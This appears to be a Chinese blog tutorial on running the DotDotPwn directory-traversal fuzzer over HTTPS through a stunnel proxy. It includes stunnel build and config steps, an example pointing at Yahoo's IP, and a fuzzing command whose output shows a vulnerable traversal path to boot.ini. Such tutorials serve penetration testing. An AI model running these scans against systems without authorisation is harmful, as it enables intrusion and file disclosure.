DotDotPwn的https模式

58 篇文章 1 订阅
32 篇文章 0 订阅
参考:
[url]http://www.spentera.com/2012/03/directory-traversal-with-dotdotpwn-https-mode/[/url]
[url]https://www.stunnel.org/howto.html[/url]

使用stunnel程序,stunnel参考[url]https://www.stunnel.org/index.html[/url]
stunnel是kali默认程序
可以通过[url]https://www.stunnel.org/downloads.html[/url]页面下载安装
[b]生成二进制文件:[/b]
1. wget https://www.stunnel.org/downloads/stunnel-5.07.tar.gz
2. tar vxf stunnel-5.07.tar.gz
3. cd stunnel-5.07/
4. ./configure
5. make
6. make install


[b]生成SSL pem文件[/b]
root@kali:~# openssl req -new -x509 -days 365 -nodes -out stunnel.pem -keyout stunnel.pem


[b]配置参数:[/b]
root@kali:~# cat stunnel.conf
cert = /root/stunnel.pem
#Some security enhancements for UNIX systems - comment them out on Win32
client = yes
#options=NO_SSLv2
debug = 5

; Service-level configuration
[https]
accept = 127.0.0.1:8080
connect = 206.190.36.45:443

[color=red][b][注意]此处使用的206.190.36.45是yahoo的ip,实际环境中需要替换成需要的IP。[/b][/color]

[b]运行stunnel[/b]
bash-3.2# stunnel /opt/local/etc/stunnel/stunnel.conf

如果没有错误,则没有任何log显示

验证HTTPS协议:
root@kali:~# nc 127.0.0.1 8080
GET / HTTP/1.1
Host:yahoo.com

HTTP/1.1 301 Redirect
Date: Wed, 05 Nov 2014 14:24:54 GMT
Via: http/1.1 ir8.fp.gq1.yahoo.com (ApacheTrafficServer)
Server: ATS
Location: https://www.yahoo.com/
Content-Type: text/html
Content-Language: en
Cache-Control: no-store, no-cache
Connection: keep-alive
Content-Length: 1450


[b]然后就可以进行dotdotpwn测试:[/b]
bash-3.2# perl dotdotpwn.pl -m http-url -h 127.0.0.1 -x 8080 -O -s -u http://127.0.0.1:8080/cms/print.php?page=TRAVERSAL -k WINDOWS -b -q

[+] Report name: Reports/127.0.0.1_03-18-2012_23-59.txt

[========== TARGET INFORMATION ==========]
[+] Hostname: 127.0.0.1
[+] Detecting Operating System (nmap) ...
[+] Operating System detected:
[+] Protocol: http
[+] Port: 8080
[+] Service detected:
Apache/2.2.4 (Win32) DAV/2 mod_ssl/2.2.4 OpenSSL/0.9.8d mod_autoindex_color PHP/5.2.1
[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (generic)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 14640

[=========== TESTING RESULTS ============]
[+] Ready to launch 3.33 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)

[+] Replacing "TRAVERSAL" with the traversals created and sending
. .
[*] Testing URL: http://127.0.0.1:8080/cms/print.php?page=../../../../../boot.ini <== VULNERABLE

[+] Fuzz testing finished after 0.08 minutes (5 seconds)
[+] Total Traversals found: 1
[+] Report saved: Reports/127.0.0.1_03-18-2012_23-59.txt
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值